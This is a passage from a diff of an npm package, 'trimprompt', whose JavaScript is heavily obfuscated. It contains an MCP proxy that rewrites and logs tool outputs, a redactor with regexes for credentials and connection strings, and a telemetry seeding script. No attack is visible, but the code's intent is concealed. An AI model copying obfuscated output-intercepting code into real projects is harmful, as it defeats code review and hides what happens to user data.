filterCat(_0x396934){const _0xe2f31b=a0_0x205ce1,_0x10fd9f=_0x396934[_0xe2f31b(0x157)]('\x0a');if(_0x10fd9f['length']<=0x64)return _0x396934;const _0x1aa819=[];return _0x1aa819[_0xe2f31b(0x153)](..._0x10fd9f[_0xe2f31b(0x13d)](0x0,0x32)),_0x1aa819[_0xe2f31b(0x153)](_0xe2f31b(0x13c)+(_0x10fd9f['length']-0x50)+_0xe2f31b(0x15f)),_0x1aa819[_0xe2f31b(0x153)](..._0x10fd9f[_0xe2f31b(0x13d)](-0x1e)),_0x1aa819[_0xe2f31b(0x153)]('\x0a('+_0x10fd9f[_0xe2f31b(0x156)]+_0xe2f31b(0x144)),_0x1aa819[_0xe2f31b(0x166)]('\x0a');}function a0_0x57eb(_0x63bd1f,_0x43b6f2){const _0x4a6811=a0_0x4a68();return a0_0x57eb=function(_0x57eb6c,_0x3e02e5){_0x57eb6c=_0x57eb6c-0x13b;let _0x395c1b=_0x4a6811[_0x57eb6c];return _0x395c1b;},a0_0x57eb(_0x63bd1f,_0x43b6f2);}function filterGrep(_0xf5f62b){const _0x203c79=a0_0x205ce1,_0x322b22=_0xf5f62b[_0x203c79(0x157)]('\x0a')[_0x203c79(0x15a)](_0x546593=>_0x546593[_0x203c79(0x15e)]()[_0x203c79(0x156)]>0x0);if(_0x322b22['length']===0x0)return'No\x20matches\x20found';if(_0x322b22[_0x203c79(0x156)]<=0x32)return _0xf5f62b[_0x203c79(0x15e)]();const _0x3b0f1a={},_0xda6e68=[];for(const _0x179727 of _0x322b22){const _0x30449c=_0x179727[_0x203c79(0x161)](':');if(_0x30449c>0x0&&_0x30449c<0xc8){const _0x2db86b=_0x179727[_0x203c79(0x14d)](0x0,_0x30449c);if(_0x2db86b[_0x203c79(0x150)]('/')||_0x2db86b[_0x203c79(0x150)]('\x5c')||_0x2db86b[_0x203c79(0x150)]('.')){if(!_0x3b0f1a[_0x2db86b])_0x3b0f1a[_0x2db86b]=[];_0x3b0f1a[_0x2db86b][_0x203c79(0x153)](_0x179727[_0x203c79(0x14d)](_0x30449c+0x1)[_0x203c79(0x15e)]());continue;}}_0xda6e68[_0x203c79(0x153)](_0x179727);}const _0x1c3848=[],_0xa064b6=Object[_0x203c79(0x141)](_0x3b0f1a);if(_0xa064b6[_0x203c79(0x156)]>0x0){const _0x31ea89=0x14,_0x3b020a=_0xa064b6[_0x203c79(0x13d)](0x0,_0x31ea89);for(const _0x526a5d of _0x3b020a){const _0x13a941=_0x3b0f1a[_0x526a5d];if(_0x13a941[_0x203c79(0x156)]<=0x3)for(const _0xdbbe4a of _0x13a941){_0x1c3848[_0x203c79(0x153)](_0x526a5d+':\x20'+_0xdbbe4a);}else _0x1c3848[_0x203c79(0x153)](_0x526a5d+':\x20'+_0x13a941[0x0]),_0x1c3848[_0x203c79(0x153)](_0x526a5d+_0x203c79(0x14e)+_0x13a941[_0x203c79(0x156)]+_0x203c79(0x165));}_0xa064b6[_0x203c79(0x156)]>_0x31ea89&&_0x1c3848[_0x203c79(0x153)]('...\x20+'+(_0xa064b6[_0x203c79(0x156)]-_0x31ea89)+_0x203c79(0x168));}if(_0xda6e68[_0x203c79(0x156)]>0x0){const _0x1f1727=0x1e;_0x1c3848[_0x203c79(0x153)](..._0xda6e68[_0x203c79(0x13d)](0x0,_0x1f1727)),_0xda6e68[_0x203c79(0x156)]>_0x1f1727&&_0x1c3848[_0x203c79(0x153)](_0x203c79(0x15c)+(_0xda6e68[_0x203c79(0x156)]-_0x1f1727)+'\x20more\x20matches');}const _0x317f4c=_0x322b22[_0x203c79(0x156)];return _0x1c3848[_0x203c79(0x153)]('\x0a('+_0x317f4c+_0x203c79(0x145)+(_0xa064b6['length']||'?')+_0x203c79(0x147)),_0x1c3848[_0x203c79(0x166)]('\x0a');}
package/index.html CHANGED
@@ -4,6 +4,7 @@
4
4
  <meta charset="UTF-8">
5
5
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
6
  <title>TrimPrompt.ai - Developer Dashboard</title>
7
+ <link rel="icon" type="image/png" href="favicon.png">
7
8
  <!-- Outfit & Inter Fonts -->
8
9
  <link rel="preconnect" href="https://fonts.googleapis.com">
9
10
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x409785=a0_0x29d1;(function(_0x433eeb,_0x34c63b){const _0x74adbe=a0_0x29d1,_0x586ace=_0x433eeb();while(!![]){try{const _0x23ae18=parseInt(_0x74adbe(0x14c))/0x1+parseInt(_0x74adbe(0x165))/0x2+-parseInt(_0x74adbe(0x153))/0x3+-parseInt(_0x74adbe(0x14e))/0x4+parseInt(_0x74adbe(0x168))/0x5*(parseInt(_0x74adbe(0x150))/0x6)+-parseInt(_0x74adbe(0x167))/0x7+-parseInt(_0x74adbe(0x155))/0x8;if(_0x23ae18===_0x34c63b)break;else _0x586ace['push'](_0x586ace['shift']());}catch(_0x1c8273){_0x586ace['push'](_0x586ace['shift']());}}}(a0_0x173b,0xef7be));function a0_0x29d1(_0x16887f,_0x30e68b){_0x16887f=_0x16887f-0x13e;const _0x173b19=a0_0x173b();let _0x29d1d8=_0x173b19[_0x16887f];return _0x29d1d8;}var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x18d5d4,_0x1c1789,_0x2f435c,_0xd8d8d3){const _0x5b52f8=a0_0x29d1;if(_0xd8d8d3===undefined)_0xd8d8d3=_0x2f435c;var _0x2ab935=Object[_0x5b52f8(0x146)](_0x1c1789,_0x2f435c);(!_0x2ab935||(_0x5b52f8(0x147)in _0x2ab935?!_0x1c1789[_0x5b52f8(0x158)]:_0x2ab935['writable']||_0x2ab935['configurable']))&&(_0x2ab935={'enumerable':!![],'get':function(){return _0x1c1789[_0x2f435c];}}),Object['defineProperty'](_0x18d5d4,_0xd8d8d3,_0x2ab935);}:function(_0x41aaea,_0x424887,_0x13d50d,_0x13c596){if(_0x13c596===undefined)_0x13c596=_0x13d50d;_0x41aaea[_0x13c596]=_0x424887[_0x13d50d];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x409785(0x163)]?function(_0x28dad4,_0x1457bc){const _0x2507b2=a0_0x409785;Object[_0x2507b2(0x157)](_0x28dad4,_0x2507b2(0x13f),{'enumerable':!![],'value':_0x1457bc});}:function(_0x2fdcb4,_0x92114e){const _0x25f976=a0_0x409785;_0x2fdcb4[_0x25f976(0x13f)]=_0x92114e;}),__importStar=this&&this['__importStar']||(function(){var _0x40b126=function(_0x1afa44){const _0x55885=a0_0x29d1;return _0x40b126=Object[_0x55885(0x140)]||function(_0x59bd97){const _0x19ffe8=_0x55885;var _0x42f689=[];for(var _0x4180f4 in _0x59bd97)if(Object['prototype']['hasOwnProperty']['call'](_0x59bd97,_0x4180f4))_0x42f689[_0x42f689[_0x19ffe8(0x142)]]=_0x4180f4;return _0x42f689;},_0x40b126(_0x1afa44);};return function(_0x16f247){const _0x24cff7=a0_0x29d1;if(_0x16f247&&_0x16f247['__esModule'])return _0x16f247;var _0x1f82f6={};if(_0x16f247!=null){for(var _0x3b0c2b=_0x40b126(_0x16f247),_0x4f1c9c=0x0;_0x4f1c9c<_0x3b0c2b[_0x24cff7(0x142)];_0x4f1c9c++)if(_0x3b0c2b[_0x4f1c9c]!==_0x24cff7(0x13f))__createBinding(_0x1f82f6,_0x16f247,_0x3b0c2b[_0x4f1c9c]);}return __setModuleDefault(_0x1f82f6,_0x16f247),_0x1f82f6;};}());function a0_0x173b(){const _0x1bd200=['result','default','getOwnPropertyNames','compressOutput','length','redaction_enabled','error','content','getOwnPropertyDescriptor','get','inherit','getConfig','tracker','runMcpProxy','371055oGxfhe','parse','2093480ebmoev','stdin','4562904yjVZBR','pipe','text','1740738zQnLkd','exit','6282688KIbPhR','message','defineProperty','__esModule','write','line','./tracker','spawn','type','readline','stringify','mcp-tool-call','trim','2.0','create','stdout','2993306zYyqhc','isArray','3631586JnYJSZ','10lApkkx'];a0_0x173b=function(){return _0x1bd200;};return a0_0x173b();}Object[a0_0x409785(0x157)](exports,'__esModule',{'value':!![]}),exports[a0_0x409785(0x14b)]=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x409785(0x15e))),filters_1=require('./filters'),tracker_1=require(a0_0x409785(0x15b));function runMcpProxy(_0x5eaca6,_0x37bfe3){const _0x5e6aeb=a0_0x409785,_0x4ca79b=(0x0,child_process_1[_0x5e6aeb(0x15c)])(_0x5eaca6,_0x37bfe3,{'stdio':[_0x5e6aeb(0x151),_0x5e6aeb(0x151),_0x5e6aeb(0x148)]});process[_0x5e6aeb(0x14f)][_0x5e6aeb(0x151)](_0x4ca79b[_0x5e6aeb(0x14f)]);const _0x4a0d9c=readline['createInterface']({'input':_0x4ca79b[_0x5e6aeb(0x164)],'terminal':![]});_0x4a0d9c['on'](_0x5e6aeb(0x15a),_0x19c758=>{const _0x424246=_0x5e6aeb;try{const _0x35d586=JSON[_0x424246(0x14d)](_0x19c758);if(_0x35d586&&_0x35d586['jsonrpc']===_0x424246(0x162)&&_0x35d586['id']!==undefined&&_0x35d586[_0x424246(0x13e)]&&Array[_0x424246(0x166)](_0x35d586[_0x424246(0x13e)][_0x424246(0x145)])){let _0x29cc87=![];for(const _0x559348 of _0x35d586[_0x424246(0x13e)][_0x424246(0x145)]){if(_0x559348[_0x424246(0x15d)]==='text'&&typeof _0x559348['text']==='string'&&_0x559348[_0x424246(0x152)][_0x424246(0x161)]()[_0x424246(0x142)]>0x0){const _0x2438da=_0x559348[_0x424246(0x152)],_0x202656=(0x0,filters_1[_0x424246(0x141)])(_0x424246(0x160),_0x2438da,'',tracker_1[_0x424246(0x14a)][_0x424246(0x149)]()[_0x424246(0x143)]);tracker_1['tracker']['logExecution']('mcp\x20tool\x20(id:\x20'+_0x35d586['id']+')',_0x2438da,_0x202656,0x0),_0x559348['text']=_0x202656,_0x29cc87=!![];}}_0x29cc87?process[_0x424246(0x164)][_0x424246(0x159)](JSON[_0x424246(0x15f)](_0x35d586)+'\x0a'):process[_0x424246(0x164)][_0x424246(0x159)](_0x19c758+'\x0a');}else process[_0x424246(0x164)][_0x424246(0x159)](_0x19c758+'\x0a');}catch{process['stdout'][_0x424246(0x159)](_0x19c758+'\x0a');}}),_0x4ca79b['on']('close',_0x145965=>{const _0x58ae98=_0x5e6aeb;process[_0x58ae98(0x154)](_0x145965||0x0);}),_0x4ca79b['on'](_0x5e6aeb(0x144),_0x329c72=>{const _0x1b45b8=_0x5e6aeb;console[_0x1b45b8(0x144)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x329c72[_0x1b45b8(0x156)]),process[_0x1b45b8(0x154)](0x1);});}
1
+ 'use strict';const a0_0x24b738=a0_0x4c02;(function(_0x44d299,_0x3cf2d5){const _0x107b81=a0_0x4c02,_0x4ef463=_0x44d299();while(!![]){try{const _0x30e3da=parseInt(_0x107b81(0x15b))/0x1*(parseInt(_0x107b81(0x144))/0x2)+parseInt(_0x107b81(0x165))/0x3+parseInt(_0x107b81(0x137))/0x4+parseInt(_0x107b81(0x13e))/0x5*(parseInt(_0x107b81(0x15f))/0x6)+-parseInt(_0x107b81(0x155))/0x7*(parseInt(_0x107b81(0x139))/0x8)+parseInt(_0x107b81(0x13a))/0x9*(-parseInt(_0x107b81(0x14a))/0xa)+parseInt(_0x107b81(0x164))/0xb;if(_0x30e3da===_0x3cf2d5)break;else _0x4ef463['push'](_0x4ef463['shift']());}catch(_0x5cc2dd){_0x4ef463['push'](_0x4ef463['shift']());}}}(a0_0x2513,0x7df0d));var __createBinding=this&&this[a0_0x24b738(0x142)]||(Object[a0_0x24b738(0x149)]?function(_0x43e30b,_0xe17fee,_0x4aba9f,_0x4cc772){const _0x48861f=a0_0x24b738;if(_0x4cc772===undefined)_0x4cc772=_0x4aba9f;var _0x49c888=Object[_0x48861f(0x146)](_0xe17fee,_0x4aba9f);(!_0x49c888||('get'in _0x49c888?!_0xe17fee[_0x48861f(0x15c)]:_0x49c888['writable']||_0x49c888[_0x48861f(0x154)]))&&(_0x49c888={'enumerable':!![],'get':function(){return _0xe17fee[_0x4aba9f];}}),Object[_0x48861f(0x150)](_0x43e30b,_0x4cc772,_0x49c888);}:function(_0x3f5f2f,_0x130090,_0x463158,_0x1d2890){if(_0x1d2890===undefined)_0x1d2890=_0x463158;_0x3f5f2f[_0x1d2890]=_0x130090[_0x463158];}),__setModuleDefault=this&&this[a0_0x24b738(0x13f)]||(Object[a0_0x24b738(0x149)]?function(_0x2b9959,_0x22a473){const _0x23d589=a0_0x24b738;Object[_0x23d589(0x150)](_0x2b9959,'default',{'enumerable':!![],'value':_0x22a473});}:function(_0x252b0e,_0x47d08f){const _0x5b5161=a0_0x24b738;_0x252b0e[_0x5b5161(0x156)]=_0x47d08f;}),__importStar=this&&this['__importStar']||(function(){var _0xc366a3=function(_0x44c1e5){const _0x3497a4=a0_0x4c02;return _0xc366a3=Object[_0x3497a4(0x15a)]||function(_0x3e1e3e){const _0xbbf15e=_0x3497a4;var _0x331b4f=[];for(var _0x5bafcb in _0x3e1e3e)if(Object['prototype'][_0xbbf15e(0x13b)]['call'](_0x3e1e3e,_0x5bafcb))_0x331b4f[_0x331b4f[_0xbbf15e(0x14c)]]=_0x5bafcb;return _0x331b4f;},_0xc366a3(_0x44c1e5);};return function(_0x2f12c1){const _0x378ca3=a0_0x4c02;if(_0x2f12c1&&_0x2f12c1[_0x378ca3(0x15c)])return _0x2f12c1;var _0x111af1={};if(_0x2f12c1!=null){for(var _0x60aa58=_0xc366a3(_0x2f12c1),_0xf52640=0x0;_0xf52640<_0x60aa58[_0x378ca3(0x14c)];_0xf52640++)if(_0x60aa58[_0xf52640]!==_0x378ca3(0x156))__createBinding(_0x111af1,_0x2f12c1,_0x60aa58[_0xf52640]);}return __setModuleDefault(_0x111af1,_0x2f12c1),_0x111af1;};}());Object[a0_0x24b738(0x150)](exports,a0_0x24b738(0x15c),{'value':!![]}),exports[a0_0x24b738(0x140)]=runMcpProxy;function a0_0x2513(){const _0x2a1265=['exit','result','type','381172VWKRVS','logExecution','1398976FYuXLm','18jViopq','hasOwnProperty','close','line','30280CkzOTH','__setModuleDefault','runMcpProxy','write','__createBinding','tracker','58CJbaZY','mcp\x20tool\x20(id:\x20','getOwnPropertyDescriptor','child_process','pipe','create','2977510kjBNKQ','redaction_enabled','length','mcp-tool-call','error','content','defineProperty','./filters','readline','inherit','configurable','7jTwPPj','default','stdout','stringify','spawn','getOwnPropertyNames','21011ZkzFro','__esModule','2.0','stdin','72GnsRIo','string','text','message','./tracker','5300504lUndZK','81237ZKurws'];a0_0x2513=function(){return _0x2a1265;};return a0_0x2513();}function a0_0x4c02(_0x31d13b,_0x4f2d96){const _0x2513b2=a0_0x2513();return a0_0x4c02=function(_0x4c0266,_0x181068){_0x4c0266=_0x4c0266-0x135;let _0x57dfc9=_0x2513b2[_0x4c0266];return _0x57dfc9;},a0_0x4c02(_0x31d13b,_0x4f2d96);}const child_process_1=require(a0_0x24b738(0x147)),readline=__importStar(require(a0_0x24b738(0x152))),filters_1=require(a0_0x24b738(0x151)),tracker_1=require(a0_0x24b738(0x163));function runMcpProxy(_0x3e7eb2,_0x561066){const _0x2bc5a7=a0_0x24b738,_0x10bb26=(0x0,child_process_1[_0x2bc5a7(0x159)])(_0x3e7eb2,_0x561066,{'stdio':['pipe',_0x2bc5a7(0x148),_0x2bc5a7(0x153)]});process[_0x2bc5a7(0x15e)][_0x2bc5a7(0x148)](_0x10bb26[_0x2bc5a7(0x15e)]);const _0x41b903=readline['createInterface']({'input':_0x10bb26[_0x2bc5a7(0x157)],'terminal':![]});_0x41b903['on'](_0x2bc5a7(0x13d),_0x186925=>{const _0xc59f19=_0x2bc5a7;try{const _0x3c4f97=JSON['parse'](_0x186925);if(_0x3c4f97&&_0x3c4f97['jsonrpc']===_0xc59f19(0x15d)&&_0x3c4f97['id']!==undefined&&_0x3c4f97[_0xc59f19(0x135)]&&Array['isArray'](_0x3c4f97[_0xc59f19(0x135)][_0xc59f19(0x14f)])){let _0xc64ff5=![];for(const _0x4b988f of _0x3c4f97[_0xc59f19(0x135)]['content']){if(_0x4b988f[_0xc59f19(0x136)]===_0xc59f19(0x161)&&typeof _0x4b988f[_0xc59f19(0x161)]===_0xc59f19(0x160)&&_0x4b988f[_0xc59f19(0x161)]['trim']()['length']>0x0){const _0x1a5cbd=_0x4b988f[_0xc59f19(0x161)],_0x11cbd1=(0x0,filters_1['compressOutput'])(_0xc59f19(0x14d),_0x1a5cbd,'',tracker_1[_0xc59f19(0x143)]['getConfig']()[_0xc59f19(0x14b)]);tracker_1[_0xc59f19(0x143)][_0xc59f19(0x138)](_0xc59f19(0x145)+_0x3c4f97['id']+')',_0x1a5cbd,_0x11cbd1,0x0),_0x4b988f[_0xc59f19(0x161)]=_0x11cbd1,_0xc64ff5=!![];}}_0xc64ff5?process[_0xc59f19(0x157)]['write'](JSON[_0xc59f19(0x158)](_0x3c4f97)+'\x0a'):process[_0xc59f19(0x157)][_0xc59f19(0x141)](_0x186925+'\x0a');}else process[_0xc59f19(0x157)][_0xc59f19(0x141)](_0x186925+'\x0a');}catch{process['stdout'][_0xc59f19(0x141)](_0x186925+'\x0a');}}),_0x10bb26['on'](_0x2bc5a7(0x13c),_0x2e188f=>{const _0x427f2f=_0x2bc5a7;process[_0x427f2f(0x166)](_0x2e188f||0x0);}),_0x10bb26['on'](_0x2bc5a7(0x14e),_0x4cfe07=>{const _0xf1b58a=_0x2bc5a7;console[_0xf1b58a(0x14e)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x4cfe07[_0xf1b58a(0x162)]),process[_0xf1b58a(0x166)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.15",
3
+ "version": "1.0.16",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
@@ -25,5 +25,5 @@
25
25
  "engines": {
26
26
  "node": ">=18.0.0"
27
27
  },
28
- "license": "MIT"
28
+ "license": "Proprietary"
29
29
  }
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x4943c2=a0_0x3bfa;(function(_0x5b63f2,_0x32969c){const _0x5955c7=a0_0x3bfa,_0x49086b=_0x5b63f2();while(!![]){try{const _0x354b20=parseInt(_0x5955c7(0x8f))/0x1+parseInt(_0x5955c7(0x8b))/0x2+parseInt(_0x5955c7(0x88))/0x3+-parseInt(_0x5955c7(0x9b))/0x4+parseInt(_0x5955c7(0x9d))/0x5+-parseInt(_0x5955c7(0x91))/0x6*(parseInt(_0x5955c7(0x89))/0x7)+-parseInt(_0x5955c7(0x93))/0x8;if(_0x354b20===_0x32969c)break;else _0x49086b['push'](_0x49086b['shift']());}catch(_0x1787d6){_0x49086b['push'](_0x49086b['shift']());}}}(a0_0x238c,0x52e90));Object['defineProperty'](exports,a0_0x4943c2(0x96),{'value':!![]}),exports[a0_0x4943c2(0x97)]=exports[a0_0x4943c2(0x8d)]=void 0x0;function a0_0x3bfa(_0x13321c,_0x281e40){_0x13321c=_0x13321c-0x88;const _0x238c1f=a0_0x238c();let _0x3bfaf6=_0x238c1f[_0x13321c];return _0x3bfaf6;}class Redactor{['rules']=[];constructor(){const _0x4115b4=a0_0x4943c2;this[_0x4115b4(0x92)]();}['loadDefaultRules'](){const _0x1ab6a6=a0_0x4943c2;this[_0x1ab6a6(0x9c)]=[{'name':_0x1ab6a6(0x98),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x1ab6a6(0x95)},{'name':_0x1ab6a6(0x9e),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x1ab6a6(0x90)},{'name':_0x1ab6a6(0x99),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x1ab6a6(0x8a)},{'name':'Email\x20Address','regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x1ab6a6(0x94)}];}[a0_0x4943c2(0x8c)](_0x48a749){const _0x236c4a=a0_0x4943c2;let _0x210067=_0x48a749;for(const _0x45a0f1 of this[_0x236c4a(0x9c)]){_0x210067=_0x210067['replace'](_0x45a0f1[_0x236c4a(0x8e)],_0x45a0f1[_0x236c4a(0x9a)]);}return _0x210067;}}exports[a0_0x4943c2(0x8d)]=Redactor,exports[a0_0x4943c2(0x97)]=new Redactor();function a0_0x238c(){const _0x19c842=['[REDACTED_IP]','1001482CYFxvA','redact','Redactor','regex','506878wylJvA','$1:\x20[REDACTED_CREDENTIAL]','654mAdjCk','loadDefaultRules','4263592IloKHC','[REDACTED_EMAIL]','[REDACTED_DB_CONNECTION_STRING]','__esModule','redactor','Database\x20Connection\x20String','IPv4\x20Address','replacement','1645812mogYQH','rules','2320430eTAJLp','API\x20Key\x20or\x20Password','316521SVRLqC','18830DBYuvk'];a0_0x238c=function(){return _0x19c842;};return a0_0x238c();}
1
+ 'use strict';function a0_0x36a6(_0x23a135,_0x3884af){const _0x47edf1=a0_0x47ed();return a0_0x36a6=function(_0x36a666,_0xcd8d7){_0x36a666=_0x36a666-0x15e;let _0x2bf33d=_0x47edf1[_0x36a666];return _0x2bf33d;},a0_0x36a6(_0x23a135,_0x3884af);}const a0_0x1bcf48=a0_0x36a6;(function(_0x2a2313,_0x482240){const _0x2bf04e=a0_0x36a6,_0x1ab56f=_0x2a2313();while(!![]){try{const _0xeb33a4=-parseInt(_0x2bf04e(0x168))/0x1+-parseInt(_0x2bf04e(0x162))/0x2*(-parseInt(_0x2bf04e(0x16c))/0x3)+-parseInt(_0x2bf04e(0x173))/0x4*(parseInt(_0x2bf04e(0x167))/0x5)+-parseInt(_0x2bf04e(0x15f))/0x6+-parseInt(_0x2bf04e(0x170))/0x7+-parseInt(_0x2bf04e(0x16f))/0x8+-parseInt(_0x2bf04e(0x174))/0x9*(-parseInt(_0x2bf04e(0x164))/0xa);if(_0xeb33a4===_0x482240)break;else _0x1ab56f['push'](_0x1ab56f['shift']());}catch(_0x3ed520){_0x1ab56f['push'](_0x1ab56f['shift']());}}}(a0_0x47ed,0x34c1b));Object[a0_0x1bcf48(0x172)](exports,a0_0x1bcf48(0x16e),{'value':!![]}),exports[a0_0x1bcf48(0x165)]=exports['Redactor']=void 0x0;class Redactor{[a0_0x1bcf48(0x160)]=[];constructor(){this['loadDefaultRules']();}[a0_0x1bcf48(0x171)](){const _0x1fa5b6=a0_0x1bcf48;this['rules']=[{'name':_0x1fa5b6(0x169),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x1fa5b6(0x16b)},{'name':_0x1fa5b6(0x16d),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':'$1:\x20[REDACTED_CREDENTIAL]'},{'name':_0x1fa5b6(0x161),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x1fa5b6(0x15e)},{'name':_0x1fa5b6(0x175),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x1fa5b6(0x16a)}];}[a0_0x1bcf48(0x166)](_0x3bfe6b){const _0x2d8194=a0_0x1bcf48;let _0x2ec258=_0x3bfe6b;for(const _0xafd9cb of this['rules']){_0x2ec258=_0x2ec258['replace'](_0xafd9cb[_0x2d8194(0x163)],_0xafd9cb['replacement']);}return _0x2ec258;}}function a0_0x47ed(){const _0xa11e5f=['regex','6662260Klajnz','redactor','redact','5ztiTmm','324443EBfALt','Database\x20Connection\x20String','[REDACTED_EMAIL]','[REDACTED_DB_CONNECTION_STRING]','3jEjTdH','API\x20Key\x20or\x20Password','__esModule','599920ycmEly','758954VLXJyZ','loadDefaultRules','defineProperty','1665892MgdsLt','18RicJxr','Email\x20Address','[REDACTED_IP]','1482414wcZLzE','rules','IPv4\x20Address','110072IuhLvw'];a0_0x47ed=function(){return _0xa11e5f;};return a0_0x47ed();}exports['Redactor']=Redactor,exports[a0_0x1bcf48(0x165)]=new Redactor();
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x52c2c8=a0_0x28c1;(function(_0x4ff107,_0x5e2327){const _0x222b45=a0_0x28c1,_0x48873d=_0x4ff107();while(!![]){try{const _0x200fa3=-parseInt(_0x222b45(0x1f1))/0x1*(-parseInt(_0x222b45(0x1f0))/0x2)+parseInt(_0x222b45(0x1dd))/0x3+parseInt(_0x222b45(0x1f8))/0x4+-parseInt(_0x222b45(0x1ec))/0x5+parseInt(_0x222b45(0x1f4))/0x6*(-parseInt(_0x222b45(0x1ee))/0x7)+-parseInt(_0x222b45(0x1f6))/0x8+parseInt(_0x222b45(0x1f9))/0x9*(parseInt(_0x222b45(0x1f7))/0xa);if(_0x200fa3===_0x5e2327)break;else _0x48873d['push'](_0x48873d['shift']());}catch(_0x8dd63b){_0x48873d['push'](_0x48873d['shift']());}}}(a0_0x3e0f,0xbcc53));function a0_0x28c1(_0x5a4169,_0x2c9b44){_0x5a4169=_0x5a4169-0x1dc;const _0x3e0fa7=a0_0x3e0f();let _0x28c14f=_0x3e0fa7[_0x5a4169];return _0x28c14f;}Object[a0_0x52c2c8(0x202)](exports,a0_0x52c2c8(0x1dc),{'value':!![]});const tracker_1=require(a0_0x52c2c8(0x1e5));console['log'](a0_0x52c2c8(0x1ea)),process.env.TRIMPROMPT_MODEL=a0_0x52c2c8(0x1ff),tracker_1['tracker'][a0_0x52c2c8(0x1e1)](a0_0x52c2c8(0x1fa),a0_0x52c2c8(0x203)+a0_0x52c2c8(0x200)+a0_0x52c2c8(0x1fd)+a0_0x52c2c8(0x1e8)[a0_0x52c2c8(0x1fc)](0x190),a0_0x52c2c8(0x1fe),0x0),process.env.TRIMPROMPT_MODEL=a0_0x52c2c8(0x1e9),tracker_1[a0_0x52c2c8(0x1e6)][a0_0x52c2c8(0x1e1)](a0_0x52c2c8(0x1e3),a0_0x52c2c8(0x1ef)+a0_0x52c2c8(0x1e7)+a0_0x52c2c8(0x1f2)+'test_api.py\x20PASS\x0a'[a0_0x52c2c8(0x1fc)](0x12c)+a0_0x52c2c8(0x1ed),a0_0x52c2c8(0x1eb),0x0),process.env.TRIMPROMPT_MODEL=a0_0x52c2c8(0x1e2),tracker_1[a0_0x52c2c8(0x1e6)][a0_0x52c2c8(0x1e1)](a0_0x52c2c8(0x1f3),a0_0x52c2c8(0x1fb)+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+a0_0x52c2c8(0x1e4)+a0_0x52c2c8(0x1df)+a0_0x52c2c8(0x1e0)[a0_0x52c2c8(0x1fc)](0x3)+a0_0x52c2c8(0x201),a0_0x52c2c8(0x1de),0x0),console[a0_0x52c2c8(0x204)](a0_0x52c2c8(0x1f5));function a0_0x3e0f(){const _0x4a608f=['gemini-1-5-pro','pytest\x20tests/app','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','./tracker','tracker','test_auth.py\x20PASS\x0a','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','gpt-4o','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','4466470CgPjlj','All\x20303\x20tests\x20passed\x20in\x204.22s.','7LjokMS','Test\x20suite\x20run\x20starting...\x0a','10966uCuOsn','83pJVRqg','test_db.py\x20PASS\x0a','docker\x20build\x20.','4680162nyPXCK','Database\x20successfully\x20seeded!','3878584fdGJWQ','170080ANhlmz','2419152ACsRKg','207mLOqTV','npm\x20run\x20build','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','repeat','Optimizing\x20assets...\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','claude-3-opus','[INFO]\x20Building\x20modules...\x0a','Successfully\x20built\x20image.','defineProperty','Compilation\x20Output:\x0a','log','__esModule','4440858HujZwp','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','added\x201420\x20packages\x20in\x2014s\x0a','logExecution'];a0_0x3e0f=function(){return _0x4a608f;};return a0_0x3e0f();}
1
